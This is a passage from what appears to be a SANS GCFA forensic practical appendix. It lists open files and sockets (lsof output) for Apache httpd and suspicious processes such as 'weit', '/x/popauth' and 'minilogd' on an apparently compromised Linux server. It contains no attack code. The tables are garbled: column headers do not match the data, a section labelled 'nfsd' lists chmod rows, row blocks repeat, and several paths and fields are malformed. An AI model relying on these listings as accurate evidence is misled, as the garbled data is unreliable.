<td>root</td>
<td>mem</td>
<td>19373</td>
<td>REG</td>
<td>3,2</td>
<td>8261</td>
<td>/usr/lib/apache/mod_headers.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19373</td>
<td>REG</td>
<td>3,2</td>
<td>10176</td>
<td>/usr/lib/apache/mod_setenvif.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19373</td>
<td>REG</td>
<td>3,2</td>
<td>9240</td>
<td>/usr/lib/apache/mod_setenvif.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19373</td>
<td>REG</td>
<td>3,2</td>
<td>11174</td>
<td>/lib/libutil-2.2.5.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19373</td>
<td>REG</td>
<td>3,2</td>
<td>122952</td>
<td>/usr/lib/apache/libdav.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19373</td>
<td>REG</td>
<td>3,2</td>
<td>210094</td>
<td>/usr/lib/apache/libssl.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19373</td>
<td>REG</td>
<td>3,2</td>
<td>1453198</td>
<td>/usr/lib/php4/imap.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19373</td>
<td>REG</td>
<td>3,2</td>
<td>9900</td>
<td>/usr/lib/apache/mod_expires.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19373</td>
<td>REG</td>
<td>3,2</td>
<td>8261</td>
<td>/usr/lib/apache/mod_headers.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19373</td>
<td>REG</td>
<td>3,2</td>
<td>10176</td>
<td>/usr/lib/apache/mod_setenvif.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19373</td>
<td>REG</td>
<td>3,2</td>
<td>9240</td>
<td>/usr/lib/apache/mod_setenvif.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19373</td>
<td>REG</td>
<td>3,2</td>
<td>11174</td>
<td>/lib/libutil-2.2.5.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19373</td>
<td>REG</td>
<td>3,2</td>
<td>122952</td>
<td>/usr/lib/apache/libdav.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19373</td>
<td>REG</td>
<td>3,2</td>
<td>210094</td>
<td>/usr/lib/apache/libssl.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19373</td>
<td>REG</td>
<td>3,2</td>
<td>1453198</td>
<td>/usr/lib/php4/imap.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19373</td>
<td>REG</td>
<td>3,2</td>
<td>9900</td>
<td>/usr/lib/apache/mod_expires.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19373</td>
<td>REG</td>
<td>3,2</td>
<td>8261</td>
<td>/usr/lib/apache/mod_headers.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19373</td>
<td>REG</td>
<td>3,2</td>
<td>10176</td>
<td>/usr/lib/apache/mod_setenvif.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19373</td>
<td>REG</td>
<td>3,2</td>
<td>9240</td>
<td>/usr/lib/apache/mod_setenvif.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19373</td>
<td>REG</td>
<td>3,2</td>
<td>11174</td>
<td>/lib/libutil-2.2.5.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19373</td>
<td>REG</td>
<td>3,2</td>
<td>122952</td>
<td>/usr/lib/apache/libdav.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19373</td>
<td>REG</td>
<td>3,2</td>
<td>210094</td>
<td>/usr/lib/apache/libssl.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19373</td>
<td>REG</td>
<td>3,2</td>
<td>1453198</td>
<td>/usr/lib/php4/imap.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19373</td>
<td>REG</td>
<td>3,2</td>
<td>9900</td>
<td>/usr/lib/apache/mod_expires.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19373</td>
<td>REG</td>
<td>3,2</td>
<td>8261</td>
<td>/usr/lib/apache/mod_headers.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19373</td>
<td>REG</td>
<td>3,2</td>
<td>10176</td>
<td>/usr/lib/apache/mod_setenvif.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19373</td>
<td>REG</td>
<td>3,2</td>
<td>9240</td>
<td>/usr/lib/apache/mod_setenvif.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Kevin Miller - Sans GCFA Assignment – v1.4

<table>
<thead>
<tr>
<th>Process</th>
<th>User</th>
<th>Type</th>
<th>Status</th>
<th>Priority</th>
<th>nice</th>
<th>Size</th>
<th>RSS</th>
</tr>
</thead>
<tbody>
<tr>
<td>httpd 19373</td>
<td>root</td>
<td>1w</td>
<td>chr</td>
<td>1,3</td>
<td></td>
<td>9637</td>
<td>/dev/null</td>
</tr>
<tr>
<td>httpd 19373</td>
<td>root</td>
<td>2w</td>
<td>reg</td>
<td>3,6</td>
<td>1729</td>
<td>44202</td>
<td>/var/log/httpd/error_log</td>
</tr>
<tr>
<td>httpd 19373</td>
<td>root</td>
<td>3u</td>
<td>reg</td>
<td>3,6</td>
<td>0</td>
<td>38183</td>
<td>/var/run/httpd.mm.8124.sem</td>
</tr>
<tr>
<td>httpd 19373</td>
<td>root</td>
<td>4u</td>
<td>reg</td>
<td>3,5</td>
<td>0</td>
<td>26691</td>
<td>/tmp/session_mm_apache0.sem</td>
</tr>
<tr>
<td>httpd 19373</td>
<td>root</td>
<td>5u</td>
<td>reg</td>
<td>3,5</td>
<td>8192</td>
<td>26693</td>
<td>/tmp/session_mm_apache0.sem</td>
</tr>
<tr>
<td>httpd 19373</td>
<td>root</td>
<td>15w</td>
<td>reg</td>
<td>3,6</td>
<td>1729</td>
<td>44202</td>
<td>/var/log/httpd/error_log</td>
</tr>
<tr>
<td>httpd 19373</td>
<td>root</td>
<td>16u</td>
<td>ipv4</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19374</td>
<td>root</td>
<td>cwd</td>
<td>dir</td>
<td>3,5</td>
<td>1024</td>
<td>2</td>
<td>/</td>
</tr>
<tr>
<td>httpd 19374</td>
<td>root</td>
<td>rtd</td>
<td>dir</td>
<td>3,5</td>
<td>1024</td>
<td>2</td>
<td>/</td>
</tr>
<tr>
<td>httpd 19374</td>
<td>root</td>
<td>txt</td>
<td>reg</td>
<td>3,2</td>
<td>290169</td>
<td>131</td>
<td>/usr/sbin/httpd</td>
</tr>
<tr>
<td>httpd 19374</td>
<td>root</td>
<td>mem</td>
<td>reg</td>
<td>3,2</td>
<td>9883</td>
<td>229527</td>
<td>/usr/lib/apache/mod_vhost_alias.so</td>
</tr>
<tr>
<td>httpd 19374</td>
<td>root</td>
<td>mem</td>
<td>reg</td>
<td>3,2</td>
<td>8301</td>
<td>229506</td>
<td>/usr/lib/apache/mod_env.so</td>
</tr>
<tr>
<td>httpd 19374</td>
<td>root</td>
<td>mem</td>
<td>reg</td>
<td>3,2</td>
<td>17638</td>
<td>229514</td>
<td>/usr/lib/apache/mod_log_config.so</td>
</tr>
<tr>
<td>httpd 19374</td>
<td>root</td>
<td>mem</td>
<td>reg</td>
<td>3,2</td>
<td>7438</td>
<td>229513</td>
<td>/usr/lib/apache/mod_log_agent.so</td>
</tr>
<tr>
<td>httpd 19374</td>
<td>root</td>
<td>mem</td>
<td>reg</td>
<td>3,2</td>
<td>8530</td>
<td>229515</td>
<td>/usr/lib/apache/mod_log_referer.so</td>
</tr>
<tr>
<td>httpd 19374</td>
<td>root</td>
<td>mem</td>
<td>reg</td>
<td>3,2</td>
<td>8274</td>
<td>229505</td>
<td>/usr/lib/apache/mod_dir.so</td>
</tr>
<tr>
<td>httpd 19374</td>
<td>root</td>
<td>mem</td>
<td>reg</td>
<td>3,2</td>
<td>371</td>
<td>130311</td>
<td>/usr/lib/locale/en_US.iso885915/LC_IDENTIFICATION</td>
</tr>
<tr>
<td>httpd 19374</td>
<td>root</td>
<td>mem</td>
<td>reg</td>
<td>3,5</td>
<td>101902</td>
<td>73734</td>
<td>/lib/i686/libpthread-0.9.so</td>
</tr>
<tr>
<td>httpd 19374</td>
<td>root</td>
<td>mem</td>
<td>reg</td>
<td>3,2</td>
<td>19662</td>
<td>66292</td>
<td>/usr/lib/mm.so.11.0.23</td>
</tr>
<tr>
<td>httpd 19374</td>
<td>root</td>
<td>mem</td>
<td>reg</td>
<td>3,2</td>
<td>14929</td>
<td>229516</td>
<td>/usr/lib/apache/mod_mime.so</td>
</tr>
<tr>
<td>httpd 19374</td>
<td>root</td>
<td>mem</td>
<td>reg</td>
<td>3,2</td>
<td>27415</td>
<td>229519</td>
<td>/usr/lib/apache/mod_negotiation.so</td>
</tr>
<tr>
<td>httpd 19374</td>
<td>root</td>
<td>mem</td>
<td>reg</td>
<td>3,2</td>
<td>18365</td>
<td>229523</td>
<td>/usr/lib/apache/mod_status.so</td>
</tr>
<tr>
<td>httpd 19374</td>
<td>root</td>
<td>mem</td>
<td>reg</td>
<td>3,2</td>
<td>19959</td>
<td>229512</td>
<td>/usr/lib/apache/mod_info.so</td>
</tr>
<tr>
<td>httpd 19374</td>
<td>root</td>
<td>mem</td>
<td>reg</td>
<td>3,2</td>
<td>35886</td>
<td>229511</td>
<td>/usr/lib/apache/mod_include.so</td>
</tr>
<tr>
<td>httpd 19374</td>
<td>root</td>
<td>mem</td>
<td>reg</td>
<td>3,2</td>
<td>27836</td>
<td>229501</td>
<td>/usr/lib/apache/mod_autoindex.so</td>
</tr>
<tr>
<td>httpd 19374</td>
<td>root</td>
<td>mem</td>
<td>reg</td>
<td>3,2</td>
<td>14940</td>
<td>229503</td>
<td>/usr/lib/apache/mod_cgi.so</td>
</tr>
<tr>
<td>httpd 19374</td>
<td>root</td>
<td>mem</td>
<td>reg</td>
<td>3,2</td>
<td>6924</td>
<td>229496</td>
<td>/usr/lib/apache/mod_asis.so</td>
</tr>
<tr>
<td>httpd 19374</td>
<td>root</td>
<td>mem</td>
<td>reg</td>
<td>3,2</td>
<td>15974</td>
<td>229510</td>
<td>/usr/lib/apache/mod_imap.so</td>
</tr>
<tr>
<td>httpd 19374</td>
<td>root</td>
<td>mem</td>
<td>reg</td>
<td>3,2</td>
<td>8541</td>
<td>229494</td>
<td>/usr/lib/apache/mod_actions.so</td>
</tr>
<tr>
<td>httpd 19374</td>
<td>root</td>
<td>mem</td>
<td>reg</td>
<td>3,2</td>
<td>8770</td>
<td>229525</td>
<td>/usr/lib/apache/mod_userdir.so</td>
</tr>
<tr>
<td>httpd 19374</td>
<td>root</td>
<td>mem</td>
<td>reg</td>
<td>3,2</td>
<td>10617</td>
<td>229495</td>
<td>/usr/lib/apache/mod_asias.so</td>
</tr>
<tr>
<td>httpd 19374</td>
<td>root</td>
<td>mem</td>
<td>reg</td>
<td>3,2</td>
<td>53819</td>
<td>229493</td>
<td>/usr/lib/apache/mod_access.so</td>
</tr>
<tr>
<td>httpd 19374</td>
<td>root</td>
<td>mem</td>
<td>reg</td>
<td>3,2</td>
<td>11985</td>
<td>229497</td>
<td>/usr/lib/apache/mod_auth.so</td>
</tr>
<tr>
<td>httpd 19374</td>
<td>root</td>
<td>mem</td>
<td>reg</td>
<td>3,2</td>
<td>8486</td>
<td>229498</td>
<td>/usr/lib/apache/mod_auth_anon.so</td>
</tr>
<tr>
<td>httpd 19374</td>
<td>root</td>
<td>mem</td>
<td>reg</td>
<td>3,2</td>
<td>9304</td>
<td>229499</td>
<td>/usr/lib/apache/mod_auth_db.so</td>
</tr>
<tr>
<td>httpd 19374</td>
<td>root</td>
<td>mem</td>
<td>reg</td>
<td>3,2</td>
<td>9900</td>
<td>229508</td>
<td>/usr/lib/apache/mod_expires.so</td>
</tr>
<tr>
<td>httpd 19374</td>
<td>root</td>
<td>mem</td>
<td>reg</td>
<td>3,2</td>
<td>8261</td>
<td>229509</td>
<td>/usr/lib/apache/mod_userdir.so</td>
</tr>
<tr>
<td>httpd 19374</td>
<td>root</td>
<td>mem</td>
<td>reg</td>
<td>3,2</td>
<td>10176</td>
<td>229521</td>
<td>/usr/lib/apache/mod_setenvif.so</td>
</tr>
<tr>
<td>httpd 19374</td>
<td>root</td>
<td>mem</td>
<td>reg</td>
<td>3,2</td>
<td>92407</td>
<td>440046</td>
<td>/usr/lib/gconv/gconv-modules.cache</td>
</tr>
<tr>
<td>httpd 19374</td>
<td>root</td>
<td>mem</td>
<td>reg</td>
<td>3,2</td>
<td>11174</td>
<td>63541</td>
<td>/lib/libutil-2.2.5.so</td>
</tr>
<tr>
<td>httpd 19374</td>
<td>root</td>
<td>mem</td>
<td>reg</td>
<td>3,2</td>
<td>122952</td>
<td>229529</td>
<td>/usr/lib/apache/libdav.so</td>
</tr>
<tr>
<td>httpd 19374</td>
<td>root</td>
<td>mem</td>
<td>reg</td>
<td>3,2</td>
<td>210094</td>
<td>229531</td>
<td>/usr/lib/apache/libssl.so</td>
</tr>
<tr>
<td>httpd 19374</td>
<td>root</td>
<td>mem</td>
<td>reg</td>
<td>3,2</td>
<td>1453198</td>
<td>425001</td>
<td>/usr/lib/php/imap.so</td>
</tr>
<tr>
<td>httpd 19374</td>
<td>root</td>
<td>mem</td>
<td>reg</td>
<td>3,2</td>
<td>8621</td>
<td>440043</td>
<td>/usr/lib/kberos/lib/krb5_err.so.3.0</td>
</tr>
<tr>
<td>httpd 19374</td>
<td>root</td>
<td>mem</td>
<td>reg</td>
<td>3,2</td>
<td>20666</td>
<td>114263</td>
<td>/usr/lib/gconv/gconv-modules.cache</td>
</tr>
<tr>
<td>httpd 19374</td>
<td>root</td>
<td>mem</td>
<td>reg</td>
<td>3,2</td>
<td>29</td>
<td>130312</td>
<td>/usr/lib/locale/en_US.iso885915/LC_MEASUREMENT</td>
</tr>
<tr>
<td>httpd 19374</td>
<td>root</td>
<td>mem</td>
<td>reg</td>
<td>3,2</td>
<td>65</td>
<td>130316</td>
<td>/usr/lib/locale/en_US.iso885915/LC_TELEPHONE</td>
</tr>
<tr>
<td>httpd 19374</td>
<td>root</td>
<td>mem</td>
<td>reg</td>
<td>3,2</td>
<td>161</td>
<td>130310</td>
<td>/usr/lib/locale/en_US.iso885915/LC_ADDRESS</td>
</tr>
<tr>
<td>httpd 19374</td>
<td>root</td>
<td>mem</td>
<td>reg</td>
<td>3,2</td>
<td>83</td>
<td>130314</td>
<td>/usr/lib/locale/en_US.iso885915/LC_NAME</td>
</tr>
<tr>
<td>httpd 19374</td>
<td>root</td>
<td>mem</td>
<td>reg</td>
<td>3,2</td>
<td>40</td>
<td>130315</td>
<td>/usr/lib/locale/en_US.iso885915/LC_PAPER</td>
</tr>
<tr>
<td>httpd 19374</td>
<td>root</td>
<td>mem</td>
<td>reg</td>
<td>3,2</td>
<td>58</td>
<td>179360</td>
<td>/usr/lib/locale/en_US.iso885915/LC_MESSAGES/SYS_LC_MESSAGES</td>
</tr>
</tbody>
</table>

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
Kevin Miller - Sans GCFA Assignment – v1.4

Page 167
httpd 19376 root mem REG 3,5 11174 63541 /lib/libutil-2.2.5.so
httpd 19376 root mem REG 3,2 122952 229529 /usr/lib/apache/libdav.so
httpd 19376 root mem REG 3,2 210094 440043 /usr/lib/apache/libcam_err.so.3.0
httpd 19376 root mem REG 3,2 20666 114263 /usr/lib/gconv/gconv-modules.cache
httpd 19376 root mem REG 3,2 9 130312
httpd 19376 root mem REG 3,2 65 130316
httpd 19376 root mem REG 3,2 161 130310
httpd 19376 root mem REG 3,2 83 130314
httpd 19376 root mem REG 3,2 40 130315
httpd 19376 root mem REG 3,2 50 179360
httpd 19376 root mem REG 3,2 292 130313
httpd 19376 root mem REG 3,2 22592 130323
httpd 19376 root mem REG 3,2 89424 63507 /lib/libnsl-2.2.5.so
httpd 19376 root mem REG 3,2 1561021 229551 /usr/lib/apache/libphp4.so
httpd 19376 root mem REG 3,5 35340 63567 /lib/libpam.so.0.75
httpd 19376 root mem REG 3,2 28138 66033 /usr/lib/libltdl.so.3.1.0
httpd 19376 root mem REG 3,2 5300 66042 /usr/lib/libpspell-modules.so.1.0.1
httpd 19376 root mem REG 3,2 426442 65304 /usr/lib/libstdc++-3-libc6.2-2.10.0.so
httpd 19376 root mem REG 3,2 131560 65396 /usr/lib/libpng.so.2.1.0.12
httpd 19376 root mem REG 3,2 59778 65358 /usr/lib/libz.so.1.1.3
httpd 19376 root mem REG 3,2 146819 66089 /usr/lib/libcurl.so.2.0.2
httpd 19376 root mem REG 3,5 924879 63562 /lib/libcrypto.so.0.9.6b
httpd 19376 root mem REG 3,2 290511 65311 /usr/lib/libncurses.so.5.2
httpd 19376 root mem REG 3,2 215482 65410 /usr/lib/libgd.so.1.8.4
httpd 19376 root mem REG 3,2 717774 6410 /usr/lib/libxml2.so.2.4.19
httpd 19376 root mem REG 3,2 191615 65389 /usr/lib/libldap.so.2.0.15
httpd 19376 root mem REG 3,2 48583 65345 /usr/lib/libsasl.so.7.1.8
httpd 19376 root mem REG 3,2 45415 65263 /usr/lib/libncurses.so.5.2
httpd 19376 root mem REG 3,2 131560 65396 /usr/lib/libpng.so.2.1.0.12
httpd 19376 root mem REG 3,2 426642 65304 /usr/lib/libstdc++-3-libc6.2-2.10.0.so
httpd 19376 root mem REG 3,2 89424 63507 /lib/libnsl-2.2.5.so
httpd 19376 root mem REG 3,2 1561021 229551 /usr/lib/apache/libphp4.so
httpd 19376 root mem REG 3,5 35340 63567 /lib/libpam.so.0.75
httpd 19376 root mem REG 3,2 28138 66033 /usr/lib/libltdl.so.3.1.0
...
httpd
19376 root 18w REG 3, 6 265
44201 /var/log/httpd/access_log
httpd
19376 root 19w REG 3, 6 0
44198 /var/log/httpd/ssl_request_log
minilogd
19365 root cwd DIR 3, 5 1024
2
minilogd
19365 root rtd DIR 3, 5 1024
2
minilogd
19365 root txt REG 3, 5 8896
71809 /sbin/minilogd
minilogd
19365 root mem REG 3, 5 89547
63490 /lib/ld-2.2.5.so
minilogd
19365 root mem REG 3, 5 1401027
73730 /lib/i686/libc-2.2.5.so
minilogd
19365 root 0u CHR 1, 3
9637 /dev/null
minilogd
19365 root 1u CHR 1, 3
9637 /dev/null
minilogd
19365 root 2u CHR 1, 3
9637 /dev/null
minilogd
19365 root 3u REG 3, 6 0
38183 /var/run/httpd.mm.8124.sem
minilogd
19365 root 4u REG 3, 5 0
26691 /tmp/session_mm_apache0.sem
(mined)
minilogd
19365 root 5u REG 3, 5 8192
26693 /tmp/session_mm_apache0.sem
minilogd
19365 root 6u sock 0, 0
550563 can't identify protocol
minilogd
19365 root 7u CHR 1, 3
9637 /dev/null
minilogd
19365 root 8u unix Oxf1f80540
551280 /dev/log
minilogd
19365 root 15w REG 3, 6 1729
44202 /var/log/httpd/error_log
minilogd
19365 root 16u IPv4 361623 TCP :https (LISTEN)
minilogd
19365 root 17u IPv4 361624 TCP :http (LISTEN)
minilogd
19365 root 18w REG 3, 6 265
44201 /var/log/httpd/access_log
weit
19678 root cwd DIR 3, 5 2048
40961 /bin
weit
19678 root rtd DIR 3, 5 1024
2
weit
19678 root txt REG 3, 5 20914
34503 /usr/bin/weit
weit
19678 root mem REG 3, 5 85474
63490 /lib/ld-2.2.5.so
weit
19678 root mem REG 3, 5 1401027
73730 /lib/i686/libc-2.2.5.so
weit
19678 root 0u sock 0, 0
550563 can't identify protocol
weit
19678 root 1u sock 0, 0
550563 can't identify protocol
weit
19678 root 2u sock 0, 0
550563 can't identify protocol
weit
19678 root 3u REG 3, 6 0
38183 /var/run/httpd.mm.8124.sem
weit
19678 root 4u REG 3, 5 0
26691 /tmp/session_mm_apache0.sem
(deleted)
weit
19678 root 5u REG 3, 5 8192
26693 /tmp/session_mm_apache0.sem
weit
19678 root 6u sock 0, 0
550563 can't identify protocol
weit
19678 root 7r DIR 3, 5 1024
53319 /tmp/z
weit
19678 root 8r DIR 3, 5 2048
40961 /bin
weit
19678 root 15w REG 3, 6 1729
44202 /var/log/httpd/error_log
weit
19678 root 16u IPv4 361623 TCP :https (LISTEN)
weit
19678 root 17u IPv4 361624 TCP :http (LISTEN)
weit
19678 root 18w REG 3, 6 265
44201 /var/log/httpd/access_log
weit
19678 root 19w REG 3, 6 0
44198 /var/log/httpd/ssl_request_log
popauth
19685 root cwd DIR 3, 5 1024
53343 /x
popauth
19685 root rtd DIR 3, 5 1024
2
popauth
19685 root txt REG 3, 5 36415
55345 /x/popauth
popauth
19685 root 0u sock 0, 0
550563 can't identify protocol
popauth
19685 root 1w CHR 1, 3
9637 /dev/null
popauth
19685 root 2w CHR 1, 3
9637 /dev/null
popauth
19685 root 3u REG 3, 6 0
38183 /var/run/httpd.mm.8124.sem
popauth
19685 root 4u REG 3, 5 0
26691 /tmp/session_mm_apache0.sem
(deleted)
popauth
19685 root 5u REG 3, 5 8192
26693 /tmp/session_mm_apache0.sem
popauth
19685 root 6u sock 0, 0
550563 can't identify protocol
popauth
19685 root 7r FIFO 0, 5
551501 pipe
popauth
19685 root 8w FIFO 0, 5
551501 pipe
popauth
19685 root 9u IPv4 551503 UDP :3049
popauth
19685 root 15w REG 3, 6 1729
44202 /var/log/httpd/error_log
popauth
19685 root 16u IPv4 361623 TCP :https (LISTEN)
popauth
19685 root 17u IPv4 361624 TCP :http (LISTEN)
popauth
19685 root 18w REG 3, 6 265
44201 /var/log/httpd/access_log
popauth
19685 root 19w REG 3, 6 0
44198 /var/log/httpd/ssl_request_log
chmod
19796 root cwd DIR 3, 5 2048
40961 /bin
chmod
19796 root rtd DIR 3, 5 1024
2
chmod
19796 root txt REG 3, 5 30102
40960 /bin/chmod
chmod
19796 root mem REG 3, 5 89547
63490 /lib/ld-2.2.5.so
chmod
19796 root mem REG 3, 5 1401027
73730 /lib/i686/libc-2.2.5.so
chmod
19796 root 0u sock 0, 0
550563 can't identify protocol
chmod
19796 root 1u sock 0, 0
550563 can't identify protocol
chmod
19796 root 2u sock 0, 0
550563 can't identify protocol
chmod
19796 root 3u REG 3, 6 0
38183 /var/run/httpd.mm.8124.sem

© SANS Institute 2004,
As part of GIAC practical repository. Author retains full rights.
### chmod

<table>
<thead>
<tr>
<th>Method</th>
<th>User</th>
<th>Mode</th>
<th>User</th>
<th>Mode</th>
<th>User</th>
<th>Mode</th>
<th>User</th>
<th>Mode</th>
<th>User</th>
<th>Mode</th>
</tr>
</thead>
<tbody>
<tr>
<td>chmod 19796</td>
<td>root</td>
<td>4u</td>
<td>REG</td>
<td>3,5</td>
<td>0</td>
<td>/tmp/session_mm_apache0.sem</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>chmod 19796</td>
<td>root</td>
<td>5u</td>
<td>REG</td>
<td>3,5</td>
<td>8192</td>
<td>26693</td>
<td>/tmp/session_mm_apache0.sem</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>chmod 19796</td>
<td>root</td>
<td>6u</td>
<td>sock</td>
<td>0,0</td>
<td>550563</td>
<td>can't identify protocol</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>chmod 19796</td>
<td>root</td>
<td>7r</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>20563</td>
<td>/tmp/s/session_mm_apache0.sem</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>chmod 19796</td>
<td>root</td>
<td>8r</td>
<td>DIR</td>
<td>3,5</td>
<td>2048</td>
<td>40961</td>
<td>/bin</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>chmod 19796</td>
<td>root</td>
<td>9u</td>
<td>REG</td>
<td>3,5</td>
<td>0</td>
<td>15635</td>
<td>/dev/hdx1</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>chmod 19796</td>
<td>root</td>
<td>10u</td>
<td>sock</td>
<td>0,0</td>
<td>552454</td>
<td>can't identify protocol</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>chmod 19796</td>
<td>root</td>
<td>15w</td>
<td>REG</td>
<td>3,6</td>
<td>1729</td>
<td>44202</td>
<td>/var/log/httpd/error_log</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>chmod 19796</td>
<td>root</td>
<td>16u</td>
<td>IPv4</td>
<td>361623</td>
<td>TCP</td>
<td>*:https (LISTEN)</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>chmod 19796</td>
<td>root</td>
<td>17u</td>
<td>IPv4</td>
<td>361624</td>
<td>TCP</td>
<td>*:http (LISTEN)</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

### nfsd

<table>
<thead>
<tr>
<th>Method</th>
<th>User</th>
<th>Mode</th>
<th>User</th>
<th>Mode</th>
<th>User</th>
<th>Mode</th>
<th>User</th>
<th>Mode</th>
<th>User</th>
<th>Mode</th>
</tr>
</thead>
<tbody>
<tr>
<td>chmod 19810</td>
<td>root</td>
<td>18w</td>
<td>REG</td>
<td>3,5</td>
<td>265</td>
<td>44201</td>
<td>/var/log/httpd/access_log</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>chmod 19810</td>
<td>root</td>
<td>19w</td>
<td>REG</td>
<td>3,6</td>
<td>0</td>
<td>44198</td>
<td>/var/log/httpd/ssl_request_log</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>chmod 19810</td>
<td>root</td>
<td>20u</td>
<td>REG</td>
<td>3,5</td>
<td>0</td>
<td>26691</td>
<td>/tmp/session_mm_apache0.sem</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>chmod 19810</td>
<td>root</td>
<td>21u</td>
<td>REG</td>
<td>3,5</td>
<td>8192</td>
<td>26693</td>
<td>/tmp/session_mm_apache0.sem</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>chmod 19810</td>
<td>root</td>
<td>22u</td>
<td>REG</td>
<td>3,5</td>
<td>0</td>
<td>44198</td>
<td>/var/log/httpd/access_log</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>chmod 19810</td>
<td>root</td>
<td>23u</td>
<td>REG</td>
<td>3,6</td>
<td>265</td>
<td>44201</td>
<td>/var/log/httpd/access_log</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>chmod 19810</td>
<td>root</td>
<td>25u</td>
<td>REG</td>
<td>3,5</td>
<td>0</td>
<td>26691</td>
<td>/tmp/session_mm_apache0.sem</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>chmod 19810</td>
<td>root</td>
<td>26u</td>
<td>REG</td>
<td>3,5</td>
<td>8192</td>
<td>26693</td>
<td>/tmp/session_mm_apache0.sem</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>chmod 19810</td>
<td>root</td>
<td>27u</td>
<td>REG</td>
<td>3,5</td>
<td>0</td>
<td>44198</td>
<td>/var/log/httpd/access_log</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

### ps.txt

<table>
<thead>
<tr>
<th>USER</th>
<th>PID</th>
<th>%CPU</th>
<th>%MEM</th>
<th>VSZ</th>
<th>RSS</th>
<th>TTY</th>
<th>STAT</th>
<th>START</th>
<th>TIME</th>
<th>COMMAND</th>
</tr>
</thead>
<tbody>
<tr>
<td>root</td>
<td>1</td>
<td>0.0</td>
